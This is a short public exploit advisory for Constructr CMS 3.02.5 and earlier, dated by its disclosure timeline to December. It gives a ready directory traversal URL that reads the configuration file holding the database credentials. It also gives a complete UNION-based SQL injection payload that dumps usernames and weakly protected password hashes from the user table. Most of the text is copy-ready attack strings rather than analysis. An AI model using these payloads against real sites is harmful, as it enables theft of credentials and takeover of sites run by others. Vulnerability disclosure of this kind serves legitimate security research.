Constructr CMS 3.02.5 SQL Injection / Traversal

`Constructr CMS  
http://constructr-cms.org/  
  
- <= 3.02.5 "Stable" -  
  
magic_quotes_gpc = Off  
register_globals = On  
  
- Directory Traversal - Source Disclosure - Arbitrary File Creation - Etc Etc Etc -  
http://site/constructr/backend/template.php?edit_file=  
  
Db info:  
../config/config.inc.php  
  
  
- SQL -  
http://site/constructr/?show_page=  
  
User (urlencode) :  
-0' UNION ALL SELECT NULL, CONCAT(CHAR(0),IFNULL(CAST(username AS CHAR(10000)), CHAR(32)),CHAR(0),IFNULL(CAST(hash AS CHAR(10000)), CHAR(32)),CHAR(0)), NULL, NULL, NULL, NULL, NULL, NULL FROM constructr_user# AND 'tBkML'='tBkML  
"Hash" is the password, not really encrypted...  
  
  
- Timeline -  
Author notified: Dec 12  
Public Disclosure: Dec 19  
  
  
- Seasons Greetings -  
- http://nukeit.org -  
  
  
`